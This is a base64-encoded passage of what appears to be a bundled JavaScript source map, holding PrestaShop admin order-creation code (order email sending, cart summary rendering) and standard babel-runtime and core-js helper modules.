dGVuZXJzXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBpbml0TGlzdGVuZXJzKCkge1xuICAgIHRoaXMub25Qcm9jZXNzT3JkZXJFbWFpbEVycm9yKCk7XG4gICAgdGhpcy5vblByb2Nlc3NPcmRlckVtYWlsU3VjY2VzcygpO1xuICB9XG5cbiAgLyoqXG4gICAqIExpc3RlbnMgZm9yIHByb2Nlc3Mgb3JkZXIgZW1haWwgc2VuZGluZyBzdWNjZXNzIGV2ZW50XG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBvblByb2Nlc3NPcmRlckVtYWlsU3VjY2VzcygpIHtcbiAgICBFdmVudEVtaXR0ZXIub24oZXZlbnRNYXAucHJvY2Vzc09yZGVyRW1haWxTZW50LCAocmVzcG9uc2UpID0+IHtcbiAgICAgIHRoaXMuc3VtbWFyeVJlbmRlcmVyLmNsZWFuQWxlcnRzKCk7XG4gICAgICB0aGlzLnN1bW1hcnlSZW5kZXJlci5yZW5kZXJTdWNjZXNzTWVzc2FnZShyZXNwb25zZS5tZXNzYWdlKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBMaXN0ZW5zIGZvciBwcm9jZXNzIG9yZGVyIGVtYWlsIGZhaWxlZCBldmVudFxuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgb25Qcm9jZXNzT3JkZXJFbWFpbEVycm9yKCkge1xuICAgIEV2ZW50RW1pdHRlci5vbihldmVudE1hcC5wcm9jZXNzT3JkZXJFbWFpbEZhaWxlZCwgKHJlc3BvbnNlKSA9PiB7XG4gICAgICB0aGlzLnN1bW1hcnlSZW5kZXJlci5jbGVhbkFsZXJ0cygpO1xuICAgICAgdGhpcy5zdW1tYXJ5UmVuZGVyZXIucmVuZGVyRXJyb3JNZXNzYWdlKHJlc3BvbnNlLnJlc3BvbnNlSlNPTi5tZXNzYWdlKTtcbiAgICB9KTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTZW5kcyBlbWFpbCB0byBjdXN0b21lciB3aXRoIGxpbmsgb2Ygb3JkZXIgcHJvY2Vzc2luZ1xuICAgKlxuICAgKiBAcGFyYW0ge051bWJlcn0gY2FydElkXG4gICAqL1xuICBzZW5kUHJvY2Vzc09yZGVyRW1haWwoY2FydElkKSB7XG4gICAgJC5wb3N0KHRoaXMucm91dGVyLmdlbmVyYXRlKCdhZG1pbl9vcmRlcnNfc2VuZF9wcm9jZXNzX29yZGVyX2VtYWlsJyksIHtcbiAgICAgIGNhcnRJZCxcbiAgICB9KS50aGVuKChyZXNwb25zZSkgPT4gRXZlbnRFbWl0dGVyLmVtaXQoZXZlbnRNYXAucHJvY2Vzc09yZGVyRW1haWxTZW50LCByZXNwb25zZSkpLmNhdGNoKChlKSA9PiB7XG4gICAgICBFdmVudEVtaXR0ZXIuZW1pdChldmVudE1hcC5wcm9jZXNzT3JkZXJFbWFpbEZhaWxlZCwgZSk7XG4gICAgfSk7XG4gIH1cbn1cbiIsIi8qKlxuICogQ29weXJpZ2h0IHNpbmNlIDIwMDcgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzXG4gKiBQcmVzdGFTaG9wIGlzIGFuIEludGVybmF0aW9uYWwgUmVnaXN0ZXJlZCBUcmFkZW1hcmsgJiBQcm9wZXJ0eSBvZiBQcmVzdGFTaG9wIFNBXG4gKlxuICogTk9USUNFIE9GIExJQ0VOU0VcbiAqXG4gKiBUaGlzIHNvdXJjZSBmaWxlIGlzIHN1YmplY3QgdG8gdGhlIE9wZW4gU29mdHdhcmUgTGljZW5zZSAoT1NMIDMuMClcbiAqIHRoYXQgaXMgYnVuZGxlZCB3aXRoIHRoaXMgcGFja2FnZSBpbiB0aGUgZmlsZSBMSUNFTlNFLm1kLlxuICogSXQgaXMgYWxzbyBhdmFpbGFibGUgdGhyb3VnaCB0aGUgd29ybGQtd2lkZS13ZWIgYXQgdGhpcyBVUkw6XG4gKiBodHRwczovL29wZW5zb3VyY2Uub3JnL2xpY2Vuc2VzL09TTC0zLjBcbiAqIElmIHlvdSBkaWQgbm90IHJlY2VpdmUgYSBjb3B5IG9mIHRoZSBsaWNlbnNlIGFuZCBhcmUgdW5hYmxlIHRvXG4gKiBvYnRhaW4gaXQgdGhyb3VnaCB0aGUgd29ybGQtd2lkZS13ZWIsIHBsZWFzZSBzZW5kIGFuIGVtYWlsXG4gKiB0byBsaWNlbnNlQHByZXN0YXNob3AuY29tIHNvIHdlIGNhbiBzZW5kIHlvdSBhIGNvcHkgaW1tZWRpYXRlbHkuXG4gKlxuICogRElTQ0xBSU1FUlxuICpcbiAqIERvIG5vdCBlZGl0IG9yIGFkZCB0byB0aGlzIGZpbGUgaWYgeW91IHdpc2ggdG8gdXBncmFkZSBQcmVzdGFTaG9wIHRvIG5ld2VyXG4gKiB2ZXJzaW9ucyBpbiB0aGUgZnV0dXJlLiBJZiB5b3Ugd2lzaCB0byBjdXN0b21pemUgUHJlc3RhU2hvcCBmb3IgeW91clxuICogbmVlZHMgcGxlYXNlIHJlZmVyIHRvIGh0dHBzOi8vZGV2ZG9jcy5wcmVzdGFzaG9wLmNvbS8gZm9yIG1vcmUgaW5mb3JtYXRpb24uXG4gKlxuICogQGF1dGhvciAgICBQcmVzdGFTaG9wIFNBIGFuZCBDb250cmlidXRvcnMgPGNvbnRhY3RAcHJlc3Rhc2hvcC5jb20+XG4gKiBAY29weXJpZ2h0IFNpbmNlIDIwMDcgUHJlc3RhU2hvcCBTQSBhbmQgQ29udHJpYnV0b3JzXG4gKiBAbGljZW5zZSAgIGh0dHBzOi8vb3BlbnNvdXJjZS5vcmcvbGljZW5zZXMvT1NMLTMuMCBPcGVuIFNvZnR3YXJlIExpY2Vuc2UgKE9TTCAzLjApXG4gKi9cblxuaW1wb3J0IGNyZWF0ZU9yZGVyTWFwIGZyb20gJy4vY3JlYXRlLW9yZGVyLW1hcCc7XG5pbXBvcnQge1ZhbGlkYXRlQWRkcmVzc2VzfSBmcm9tICcuL2FkZHJlc3MtdmFsaWRhdG9yJztcblxuY29uc3QgeyR9ID0gd2luZG93O1xuXG4vKipcbiAqIFJlc3BvbnNpYmxlIGZvciBzdW1tYXJ5IGJsb2NrIHJlbmRlcmluZ1xuICovXG5leHBvcnQgZGVmYXVsdCBjbGFzcyBTdW1tYXJ5UmVuZGVyZXIge1xuICBjb25zdHJ1Y3RvcigpIHtcbiAgICB0aGlzLiR0b3RhbFByb2R1Y3RzID0gJChjcmVhdGVPcmRlck1hcC5zdW1tYXJ5VG90YWxQcm9kdWN0cyk7XG4gICAgdGhpcy4kdG90YWxEaXNjb3VudCA9ICQoY3JlYXRlT3JkZXJNYXAuc3VtbWFyeVRvdGFsRGlzY291bnQpO1xuICAgIHRoaXMuJHRvdGFsU2hpcHBpbmcgPSAkKGNyZWF0ZU9yZGVyTWFwLnRvdGFsU2hpcHBpbmdGaWVsZCk7XG4gICAgdGhpcy4kc3VtbWFyeVRvdGFsU2hpcHBpbmcgPSAkKGNyZWF0ZU9yZGVyTWFwLnN1bW1hcnlUb3RhbFNoaXBwaW5nKTtcbiAgICB0aGlzLiR0b3RhbFRheGVzID0gJChjcmVhdGVPcmRlck1hcC5zdW1tYXJ5VG90YWxUYXhlcyk7XG4gICAgdGhpcy4kdG90YWxXaXRob3V0VGF4ID0gJChjcmVhdGVPcmRlck1hcC5zdW1tYXJ5VG90YWxXaXRob3V0VGF4KTtcbiAgICB0aGlzLiR0b3RhbFdpdGhUYXggPSAkKGNyZWF0ZU9yZGVyTWFwLnN1bW1hcnlUb3RhbFdpdGhUYXgpO1xuICAgIHRoaXMuJHBsYWNlT3JkZXJDYXJ0SWRGaWVsZCA9ICQoY3JlYXRlT3JkZXJNYXAucGxhY2VPcmRlckNhcnRJZEZpZWxkKTtcbiAgICB0aGlzLiRvcmRlck1lc3NhZ2VGaWVsZCA9ICQoY3JlYXRlT3JkZXJNYXAub3JkZXJNZXNzYWdlRmllbGQpO1xuICAgIHRoaXMuJHByb2Nlc3NPcmRlckxpbmsgPSAkKGNyZWF0ZU9yZGVyTWFwLnByb2Nlc3NPcmRlckxpbmtUYWcpO1xuICB9XG5cbiAgLyoqXG4gICAqIFJlbmRlcnMgc3VtbWFyeSBibG9ja1xuICAgKlxuICAgKiBAcGFyYW0ge09iamVjdH0gY2FydEluZm9cbiAgICovXG4gIHJlbmRlcihjYXJ0SW5mbykge1xuICAgIHRoaXMuY2xlYW5TdW1tYXJ5KCk7XG4gICAgY29uc3Qgbm9Qcm9kdWN0cyA9IGNhcnRJbmZvLnByb2R1Y3RzLmxlbmd0aCA9PT0gMDtcbiAgICBjb25zdCBub1NoaXBwaW5nT3B0aW9ucyA9IGNhcnRJbmZvLnNoaXBwaW5nID09PSBudWxsO1xuICAgIGNvbnN0IGFkZHJlc3Nlc0FyZVZhbGlkID0gVmFsaWRhdGVBZGRyZXNzZXMoY2FydEluZm8uYWRkcmVzc2VzKTtcblxuICAgIGlmIChub1Byb2R1Y3RzIHx8IG5vU2hpcHBpbmdPcHRpb25zIHx8ICFhZGRyZXNzZXNBcmVWYWxpZCkge1xuICAgICAgdGhpcy5oaWRlU3VtbWFyeUJsb2NrKCk7XG5cbiAgICAgIHJldHVybjtcbiAgICB9XG4gICAgY29uc3QgY2FydFN1bW1hcnkgPSBjYXJ0SW5mby5zdW1tYXJ5O1xuICAgIHRoaXMuJHRvdGFsUHJvZHVjdHMudGV4dChjYXJ0U3VtbWFyeS50b3RhbFByb2R1Y3RzUHJpY2UpO1xuICAgIHRoaXMuJHRvdGFsRGlzY291bnQudGV4dChjYXJ0U3VtbWFyeS50b3RhbERpc2NvdW50KTtcbiAgICB0aGlzLiRzdW1tYXJ5VG90YWxTaGlwcGluZy50ZXh0KGNhcnRTdW1tYXJ5LnRvdGFsU2hpcHBpbmdXaXRob3V0VGF4ZXMpO1xuICAgIHRoaXMuJHRvdGFsU2hpcHBpbmcudGV4dChjYXJ0U3VtbWFyeS50b3RhbFNoaXBwaW5nUHJpY2UpO1xuICAgIHRoaXMuJHRvdGFsVGF4ZXMudGV4dChjYXJ0U3VtbWFyeS50b3RhbFRheGVzKTtcbiAgICB0aGlzLiR0b3RhbFdpdGhvdXRUYXgudGV4dChjYXJ0U3VtbWFyeS50b3RhbFByaWNlV2l0aG91dFRheGVzKTtcbiAgICB0aGlzLiR0b3RhbFdpdGhUYXgudGV4dChjYXJ0U3VtbWFyeS50b3RhbFByaWNlV2l0aFRheGVzKTtcbiAgICB0aGlzLiRwcm9jZXNzT3JkZXJMaW5rLnByb3AoJ2hyZWYnLCBjYXJ0U3VtbWFyeS5wcm9jZXNzT3JkZXJMaW5rKTtcbiAgICB0aGlzLiRvcmRlck1lc3NhZ2VGaWVsZC50ZXh0KGNhcnRTdW1tYXJ5Lm9yZGVyTWVzc2FnZSk7XG4gICAgdGhpcy4kcGxhY2VPcmRlckNhcnRJZEZpZWxkLnZhbChjYXJ0SW5mby5jYXJ0SWQpO1xuXG4gICAgdGhpcy5zaG93U3VtbWFyeUJsb2NrKCk7XG4gIH1cblxuICAvKipcbiAgICogUmVuZGVycyBzdW1tYXJ5IHN1Y2Nlc3MgbWVzc2FnZVxuICAgKlxuICAgKiBAcGFyYW0gbWVzc2FnZVxuICAgKi9cbiAgcmVuZGVyU3VjY2Vzc01lc3NhZ2UobWVzc2FnZSkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAuc3VtbWFyeVN1Y2Nlc3NBbGVydFRleHQpLnRleHQobWVzc2FnZSk7XG4gICAgdGhpcy5zaG93U3VtbWFyeVN1Y2Nlc3NBbGVydEJsb2NrKCk7XG4gIH1cblxuICAvKipcbiAgICogUmVuZGVycyBzdW1tYXJ5IGVycm9yIG1lc3NhZ2VcbiAgICpcbiAgICogQHBhcmFtIG1lc3NhZ2VcbiAgICovXG4gIHJlbmRlckVycm9yTWVzc2FnZShtZXNzYWdlKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5zdW1tYXJ5RXJyb3JBbGVydFRleHQpLnRleHQobWVzc2FnZSk7XG4gICAgdGhpcy5zaG93U3VtbWFyeUVycm9yQWxlcnRCbG9jaygpO1xuICB9XG5cbiAgLyoqXG4gICAqIENsZWFucyBjb250ZW50IG9mIHN1Y2Nlc3MvZXJyb3Igc3VtbWFyeSBhbGVydHMgYW5kIGhpZGVzIHRoZW1cbiAgICovXG4gIGNsZWFuQWxlcnRzKCkge1xuICAgICQoY3JlYXRlT3JkZXJNYXAuc3VtbWFyeVN1Y2Nlc3NBbGVydFRleHQpLnRleHQoJycpO1xuICAgICQoY3JlYXRlT3JkZXJNYXAuc3VtbWFyeUVycm9yQWxlcnRUZXh0KS50ZXh0KCcnKTtcbiAgICB0aGlzLmhpZGVTdW1tYXJ5U3VjY2Vzc0FsZXJ0QmxvY2soKTtcbiAgICB0aGlzLmhpZGVTdW1tYXJ5RXJyb3JBbGVydEJsb2NrKCk7XG4gIH1cblxuICAvKipcbiAgICogU2hvd3Mgc3VtbWFyeSBibG9ja1xuICAgKlxuICAgKiBAcHJpdmF0ZVxuICAgKi9cbiAgc2hvd1N1bW1hcnlCbG9jaygpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLnN1bW1hcnlCbG9jaykucmVtb3ZlQ2xhc3MoJ2Qtbm9uZScpO1xuICB9XG5cbiAgLyoqXG4gICAqIEhpZGVzIHN1bW1hcnkgYmxvY2tcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGhpZGVTdW1tYXJ5QmxvY2soKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5zdW1tYXJ5QmxvY2spLmFkZENsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTaG93cyBlcnJvciBhbGVydCBvZiBzdW1tYXJ5IGJsb2NrXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBzaG93U3VtbWFyeUVycm9yQWxlcnRCbG9jaygpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLnN1bW1hcnlFcnJvckFsZXJ0QmxvY2spLnJlbW92ZUNsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBIaWRlcyBlcnJvciBhbGVydCBvZiBzdW1tYXJ5IGJsb2NrXG4gICAqXG4gICAqIEBwcml2YXRlXG4gICAqL1xuICBoaWRlU3VtbWFyeUVycm9yQWxlcnRCbG9jaygpIHtcbiAgICAkKGNyZWF0ZU9yZGVyTWFwLnN1bW1hcnlFcnJvckFsZXJ0QmxvY2spLmFkZENsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBTaG93cyBzdWNjZXNzIGFsZXJ0IG9mIHN1bW1hcnkgYmxvY2tcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIHNob3dTdW1tYXJ5U3VjY2Vzc0FsZXJ0QmxvY2soKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5zdW1tYXJ5U3VjY2Vzc0FsZXJ0QmxvY2spLnJlbW92ZUNsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBIaWRlcyBzdWNjZXNzIGFsZXJ0IG9mIHN1bW1hcnkgYmxvY2tcbiAgICpcbiAgICogQHByaXZhdGVcbiAgICovXG4gIGhpZGVTdW1tYXJ5U3VjY2Vzc0FsZXJ0QmxvY2soKSB7XG4gICAgJChjcmVhdGVPcmRlck1hcC5zdW1tYXJ5U3VjY2Vzc0FsZXJ0QmxvY2spLmFkZENsYXNzKCdkLW5vbmUnKTtcbiAgfVxuXG4gIC8qKlxuICAgKiBFbXB0aWVzIGNhcnQgc3VtbWFyeSBmaWVsZHNcbiAgICovXG4gIGNsZWFuU3VtbWFyeSgpIHtcbiAgICB0aGlzLiR0b3RhbFByb2R1Y3RzLmVtcHR5KCk7XG4gICAgdGhpcy4kdG90YWxEaXNjb3VudC5lbXB0eSgpO1xuICAgIHRoaXMuJHRvdGFsU2hpcHBpbmcuZW1wdHkoKTtcbiAgICB0aGlzLiR0b3RhbFRheGVzLmVtcHR5KCk7XG4gICAgdGhpcy4kdG90YWxXaXRob3V0VGF4LmVtcHR5KCk7XG4gICAgdGhpcy4kdG90YWxXaXRoVGF4LmVtcHR5KCk7XG4gICAgdGhpcy4kcHJvY2Vzc09yZGVyTGluay5wcm9wKCdocmVmJywgJycpO1xuICAgIHRoaXMuJG9yZGVyTWVzc2FnZUZpZWxkLnRleHQoJycpO1xuICAgIHRoaXMuY2xlYW5BbGVydHMoKTtcbiAgfVxufVxuIiwibW9kdWxlLmV4cG9ydHMgPSB7IFwiZGVmYXVsdFwiOiByZXF1aXJlKFwiY29yZS1qcy9saWJyYXJ5L2ZuL2dldC1pdGVyYXRvclwiKSwgX19lc01vZHVsZTogdHJ1ZSB9OyIsIm1vZHVsZS5leHBvcnRzID0geyBcImRlZmF1bHRcIjogcmVxdWlyZShcImNvcmUtanMvbGlicmFyeS9mbi9pcy1pdGVyYWJsZVwiKSwgX19lc01vZHVsZTogdHJ1ZSB9OyIsIm1vZHVsZS5leHBvcnRzID0geyBcImRlZmF1bHRcIjogcmVxdWlyZShcImNvcmUtanMvbGlicmFyeS9mbi9qc29uL3N0cmluZ2lmeVwiKSwgX19lc01vZHVsZTogdHJ1ZSB9OyIsIm1vZHVsZS5leHBvcnRzID0geyBcImRlZmF1bHRcIjogcmVxdWlyZShcImNvcmUtanMvbGlicmFyeS9mbi9udW1iZXIvaXMtbmFuXCIpLCBfX2VzTW9kdWxlOiB0cnVlIH07IiwibW9kdWxlLmV4cG9ydHMgPSB7IFwiZGVmYXVsdFwiOiByZXF1aXJlKFwiY29yZS1qcy9saWJyYXJ5L2ZuL29iamVjdC9hc3NpZ25cIiksIF9fZXNNb2R1bGU6IHRydWUgfTsiLCJtb2R1bGUuZXhwb3J0cyA9IHsgXCJkZWZhdWx0XCI6IHJlcXVpcmUoXCJjb3JlLWpzL2xpYnJhcnkvZm4vb2JqZWN0L2RlZmluZS1wcm9wZXJ0eVwiKSwgX19lc01vZHVsZTogdHJ1ZSB9OyIsIm1vZHVsZS5leHBvcnRzID0geyBcImRlZmF1bHRcIjogcmVxdWlyZShcImNvcmUtanMvbGlicmFyeS9mbi9vYmplY3QvZW50cmllc1wiKSwgX19lc01vZHVsZTogdHJ1ZSB9OyIsIm1vZHVsZS5leHBvcnRzID0geyBcImRlZmF1bHRcIjogcmVxdWlyZShcImNvcmUtanMvbGlicmFyeS9mbi9vYmplY3Qva2V5c1wiKSwgX19lc01vZHVsZTogdHJ1ZSB9OyIsIm1vZHVsZS5leHBvcnRzID0geyBcImRlZmF1bHRcIjogcmVxdWlyZShcImNvcmUtanMvbGlicmFyeS9mbi9vYmplY3QvdmFsdWVzXCIpLCBfX2VzTW9kdWxlOiB0cnVlIH07IiwiXCJ1c2Ugc3RyaWN0XCI7XG5cbmV4cG9ydHMuX19lc01vZHVsZSA9IHRydWU7XG5cbmV4cG9ydHMuZGVmYXVsdCA9IGZ1bmN0aW9uIChpbnN0YW5jZSwgQ29uc3RydWN0b3IpIHtcbiAgaWYgKCEoaW5zdGFuY2UgaW5zdGFuY2VvZiBDb25zdHJ1Y3RvcikpIHtcbiAgICB0aHJvdyBuZXcgVHlwZUVycm9yKFwiQ2Fubm90IGNhbGwgYSBjbGFzcyBhcyBhIGZ1bmN0aW9uXCIpO1xuICB9XG59OyIsIlwidXNlIHN0cmljdFwiO1xuXG5leHBvcnRzLl9fZXNNb2R1bGUgPSB0cnVlO1xuXG52YXIgX2RlZmluZVByb3BlcnR5ID0gcmVxdWlyZShcIi4uL2NvcmUtanMvb2JqZWN0L2RlZmluZS1wcm9wZXJ0eVwiKTtcblxudmFyIF9kZWZpbmVQcm9wZXJ0eTIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF9kZWZpbmVQcm9wZXJ0eSk7XG5cbmZ1bmN0aW9uIF9pbnRlcm9wUmVxdWlyZURlZmF1bHQob2JqKSB7IHJldHVybiBvYmogJiYgb2JqLl9fZXNNb2R1bGUgPyBvYmogOiB7IGRlZmF1bHQ6IG9iaiB9OyB9XG5cbmV4cG9ydHMuZGVmYXVsdCA9IGZ1bmN0aW9uICgpIHtcbiAgZnVuY3Rpb24gZGVmaW5lUHJvcGVydGllcyh0YXJnZXQsIHByb3BzKSB7XG4gICAgZm9yICh2YXIgaSA9IDA7IGkgPCBwcm9wcy5sZW5ndGg7IGkrKykge1xuICAgICAgdmFyIGRlc2NyaXB0b3IgPSBwcm9wc1tpXTtcbiAgICAgIGRlc2NyaXB0b3IuZW51bWVyYWJsZSA9IGRlc2NyaXB0b3IuZW51bWVyYWJsZSB8fCBmYWxzZTtcbiAgICAgIGRlc2NyaXB0b3IuY29uZmlndXJhYmxlID0gdHJ1ZTtcbiAgICAgIGlmIChcInZhbHVlXCIgaW4gZGVzY3JpcHRvcikgZGVzY3JpcHRvci53cml0YWJsZSA9IHRydWU7XG4gICAgICAoMCwgX2RlZmluZVByb3BlcnR5Mi5kZWZhdWx0KSh0YXJnZXQsIGRlc2NyaXB0b3Iua2V5LCBkZXNjcmlwdG9yKTtcbiAgICB9XG4gIH1cblxuICByZXR1cm4gZnVuY3Rpb24gKENvbnN0cnVjdG9yLCBwcm90b1Byb3BzLCBzdGF0aWNQcm9wcykge1xuICAgIGlmIChwcm90b1Byb3BzKSBkZWZpbmVQcm9wZXJ0aWVzKENvbnN0cnVjdG9yLnByb3RvdHlwZSwgcHJvdG9Qcm9wcyk7XG4gICAgaWYgKHN0YXRpY1Byb3BzKSBkZWZpbmVQcm9wZXJ0aWVzKENvbnN0cnVjdG9yLCBzdGF0aWNQcm9wcyk7XG4gICAgcmV0dXJuIENvbnN0cnVjdG9yO1xuICB9O1xufSgpOyIsIlwidXNlIHN0cmljdFwiO1xuXG5leHBvcnRzLl9fZXNNb2R1bGUgPSB0cnVlO1xuXG52YXIgX2RlZmluZVByb3BlcnR5ID0gcmVxdWlyZShcIi4uL2NvcmUtanMvb2JqZWN0L2RlZmluZS1wcm9wZXJ0eVwiKTtcblxudmFyIF9kZWZpbmVQcm9wZXJ0eTIgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF9kZWZpbmVQcm9wZXJ0eSk7XG5cbmZ1bmN0aW9uIF9pbnRlcm9wUmVxdWlyZURlZmF1bHQob2JqKSB7IHJldHVybiBvYmogJiYgb2JqLl9fZXNNb2R1bGUgPyBvYmogOiB7IGRlZmF1bHQ6IG9iaiB9OyB9XG5cbmV4cG9ydHMuZGVmYXVsdCA9IGZ1bmN0aW9uIChvYmosIGtleSwgdmFsdWUpIHtcbiAgaWYgKGtleSBpbiBvYmopIHtcbiAgICAoMCwgX2RlZmluZVByb3BlcnR5Mi5kZWZhdWx0KShvYmosIGtleSwge1xuICAgICAgdmFsdWU6IHZhbHVlLFxuICAgICAgZW51bWVyYWJsZTogdHJ1ZSxcbiAgICAgIGNvbmZpZ3VyYWJsZTogdHJ1ZSxcbiAgICAgIHdyaXRhYmxlOiB0cnVlXG4gICAgfSk7XG4gIH0gZWxzZSB7XG4gICAgb2JqW2tleV0gPSB2YWx1ZTtcbiAgfVxuXG4gIHJldHVybiBvYmo7XG59OyIsIlwidXNlIHN0cmljdFwiO1xuXG5leHBvcnRzLl9fZXNNb2R1bGUgPSB0cnVlO1xuXG52YXIgX2lzSXRlcmFibGUyID0gcmVxdWlyZShcIi4uL2NvcmUtanMvaXMtaXRlcmFibGVcIik7XG5cbnZhciBfaXNJdGVyYWJsZTMgPSBfaW50ZXJvcFJlcXVpcmVEZWZhdWx0KF9pc0l0ZXJhYmxlMik7XG5cbnZhciBfZ2V0SXRlcmF0b3IyID0gcmVxdWlyZShcIi4uL2NvcmUtanMvZ2V0LWl0ZXJhdG9yXCIpO1xuXG52YXIgX2dldEl0ZXJhdG9yMyA9IF9pbnRlcm9wUmVxdWlyZURlZmF1bHQoX2dldEl0ZXJhdG9yMik7XG5cbmZ1bmN0aW9uIF9pbnRlcm9wUmVxdWlyZURlZmF1bHQob2JqKSB7IHJldHVybiBvYmogJiYgb2JqLl9fZXNNb2R1bGUgPyBvYmogOiB7IGRlZmF1bHQ6IG9iaiB9OyB9XG5cbmV4cG9ydHMuZGVmYXVsdCA9IGZ1bmN0aW9uICgpIHtcbiAgZnVuY3Rpb24gc2xpY2VJdGVyYXRvcihhcnIsIGkpIHtcbiAgICB2YXIgX2FyciA9IFtdO1xuICAgIHZhciBfbiA9IHRydWU7XG4gICAgdmFyIF9kID0gZmFsc2U7XG4gICAgdmFyIF9lID0gdW5kZWZpbmVkO1xuXG4gICAgdHJ5IHtcbiAgICAgIGZvciAodmFyIF9pID0gKDAsIF9nZXRJdGVyYXRvcjMuZGVmYXVsdCkoYXJyKSwgX3M7ICEoX24gPSAoX3MgPSBfaS5uZXh0KCkpLmRvbmUpOyBfbiA9IHRydWUpIHtcbiAgICAgICAgX2Fyci5wdXNoKF9zLnZhbHVlKTtcblxuICAgICAgICBpZiAoaSAmJiBfYXJyLmxlbmd0aCA9PT0gaSkgYnJlYWs7XG4gICAgICB9XG4gICAgfSBjYXRjaCAoZXJyKSB7XG4gICAgICBfZCA9IHRydWU7XG4gICAgICBfZSA9IGVycjtcbiAgICB9IGZpbmFsbHkge1xuICAgICAgdHJ5IHtcbiAgICAgICAgaWYgKCFfbiAmJiBfaVtcInJldHVyblwiXSkgX2lbXCJyZXR1cm5cIl0oKTtcbiAgICAgIH0gZmluYWxseSB7XG4gICAgICAgIGlmIChfZCkgdGhyb3cgX2U7XG4gICAgICB9XG4gICAgfVxuXG4gICAgcmV0dXJuIF9hcnI7XG4gIH1cblxuICByZXR1cm4gZnVuY3Rpb24gKGFyciwgaSkge1xuICAgIGlmIChBcnJheS5pc0FycmF5KGFycikpIHtcbiAgICAgIHJldHVybiBhcnI7XG4gICAgfSBlbHNlIGlmICgoMCwgX2lzSXRlcmFibGUzLmRlZmF1bHQpKE9iamVjdChhcnIpKSkge1xuICAgICAgcmV0dXJuIHNsaWNlSXRlcmF0b3IoYXJyLCBpKTtcbiAgICB9IGVsc2Uge1xuICAgICAgdGhyb3cgbmV3IFR5cGVFcnJvcihcIkludmFsaWQgYXR0ZW1wdCB0byBkZXN0cnVjdHVyZSBub24taXRlcmFibGUgaW5zdGFuY2VcIik7XG4gICAgfVxuICB9O1xufSgpOyIsInJlcXVpcmUoJy4uL21vZHVsZXMvd2ViLmRvbS5pdGVyYWJsZScpO1xucmVxdWlyZSgnLi4vbW9kdWxlcy9lczYuc3RyaW5nLml0ZXJhdG9yJyk7XG5tb2R1bGUuZXhwb3J0cyA9IHJlcXVpcmUoJy4uL21vZHVsZXMvY29yZS5nZXQtaXRlcmF0b3InKTtcbiIsInJlcXVpcmUoJy4uL21vZHVsZXMvd2ViLmRvbS5pdGVyYWJsZScpO1xucmVxdWlyZSgnLi4vbW9kdWxlcy9lczYuc3RyaW5nLml0ZXJhdG9yJyk7XG5tb2R1bGUuZXhwb3J0cyA9IHJlcXVpcmUoJy4uL21vZHVsZXMvY29yZS5pcy1pdGVyYWJsZScpO1xuIiwidmFyIGNvcmUgPSByZXF1aXJlKCcuLi8uLi9tb2R1bGVzL19jb3JlJyk7XG52YXIgJEpTT04gPSBjb3JlLkpTT04gfHwgKGNvcmUuSlNPTiA9IHsgc3RyaW5naWZ5OiBKU09OLnN0cmluZ2lmeSB9KTtcbm1vZHVsZS5leHBvcnRzID0gZnVuY3Rpb24gc3RyaW5naWZ5KGl0KSB7IC8vIGVzbGludC1kaXNhYmxlLWxpbmUgbm8tdW51c2VkLXZhcnNcbiAgcmV0dXJuICRKU09OLnN0cmluZ2lmeS5hcHBseSgkSlNPTiwgYXJndW1lbnRzKTtcbn07XG4iLCJyZXF1aXJlKCcuLi8uLi9tb2R1bGVzL2VzNi5udW1iZXIuaXMtbmFuJyk7XG5tb2R1bGUuZXhwb3J0cyA9IHJlcXVpcmUoJy4uLy4uL21vZHVsZXMvX2NvcmUnKS5OdW1iZXIuaXNOYU47XG4iLCJyZXF1aXJlKCcuLi8uLi9tb2R1bGVzL2VzNi5vYmplY3QuYXNzaWduJyk7XG5tb2R1bGUuZXhwb3J0cyA9IHJlcXVpcmUoJy4uLy4uL21vZHVsZXMvX2NvcmUnKS5PYmplY3QuYXNzaWduO1xuIiwicmVxdWlyZSgnLi4vLi4vbW9kdWxlcy9lczYub2JqZWN0LmRlZmluZS1wcm9wZXJ0eScpO1xudmFyICRPYmplY3QgPSByZXF1aXJlKCcuLi8uLi9tb2R1bGVzL19jb3JlJykuT2JqZWN0O1xubW9kdWxlLmV4cG9ydHMgPSBmdW5jdGlvbiBkZWZpbmVQcm9wZXJ0eShpdCwga2V5LCBkZXNjKSB7XG4gIHJldHVybiAkT2JqZWN0LmRlZmluZVByb3BlcnR5KGl0LCBrZXksIGRlc2MpO1xufTtcbiIsInJlcXVpcmUoJy4uLy4uL21vZHVsZXMvZXM3Lm9iamVjdC5lbnRyaWVzJyk7XG5tb2R1bGUuZXhwb3J0cyA9IHJlcXVpcmUoJy4uLy4uL21vZHVsZXMvX2NvcmUnKS5PYmplY3QuZW50cmllcztcbiIsInJlcXVpcmUoJy4uLy4uL21vZHVsZXMvZXM2Lm9iamVjdC5rZXlzJyk7XG5tb2R1bGUuZXhwb3J0cyA9IHJlcXVpcmUoJy4uLy4uL21vZHVsZXMvX2NvcmUnKS5PYmplY3Qua2V5cztcbiIsInJlcXVpcmUoJy4uLy4uL21vZHVsZXMvZXM3Lm9iamVjdC52YWx1ZXMnKTtcbm1vZHVsZS5leHBvcnRzID0gcmVxdWlyZSgnLi4vLi4vbW9kdWxlc